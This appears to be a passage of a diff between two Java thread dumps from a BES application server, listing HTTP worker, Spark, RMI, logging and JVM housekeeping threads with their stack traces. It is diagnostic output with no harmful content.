at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
|
||||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #88 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #107 daemon [TIMED_WAITING]
|
"FlushManager" #53 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ReadWriteBlockThread-1" #18 daemon [RUNNABLE]
|
"ReadWriteBlockThread-1" #18 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
@@ -184,73 +130,12 @@ ThreadStacks:
|
|||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||||
|
|
||||||
"Spark_0" #92 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f3ebe1f
|
"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3e0f54d9
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69)
|
|
||||||
|
|
||||||
"httpWorkerThread-1900-1" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI TCP Connection(1)-192.168.215.4" #102 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
|
||||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
|
||||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
|
||||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
|
||||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
|
||||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
|
||||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source)
|
|
||||||
at java.security.AccessController.doPrivileged(Native Method)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"jmsra-WorkerThread-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Spark_7" #99 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4e754aa3
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||||
|
|
||||||
"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"jmsra-WorkerThread-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -264,23 +149,58 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"RMI TCP Accept-6600" #100 daemon [RUNNABLE]
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@13cb25b2
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: WAITING
|
||||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
"httpWorkerThread-8080-2" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #68 daemon [TIMED_WAITING]
|
"Stateful cache" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73feb530
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #101 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@2a2fdcad
|
"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fd6d26d
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@457a9090
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.lang.Object.wait(Object.java:460)
|
at java.lang.Object.wait(Object.java:460)
|
||||||
@@ -291,45 +211,109 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@408b41b1
|
"httpWorkerThread-8080-3" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6827fecd
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||||
|
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||||
|
|
||||||
|
"Common Lib Watcher" #15 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91)
|
||||||
|
|
||||||
|
"RMI Reaper" #95 [WAITING] on java.lang.ref.ReferenceQueue$Lock@515b0c1e
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||||
|
|
||||||
"httpWorkerThread-1900-3" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"jmsra-WorkerThread-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
"AsyncTimeoutThread-8080" #80 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
"Spark_7" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark_6" #92 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark_1" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark-Acceptor" #85 [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||||
|
|
||||||
"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"Spark_4" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -343,7 +327,7 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"httpWorkerThread-8080-8" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -357,7 +341,24 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2e7f8751
|
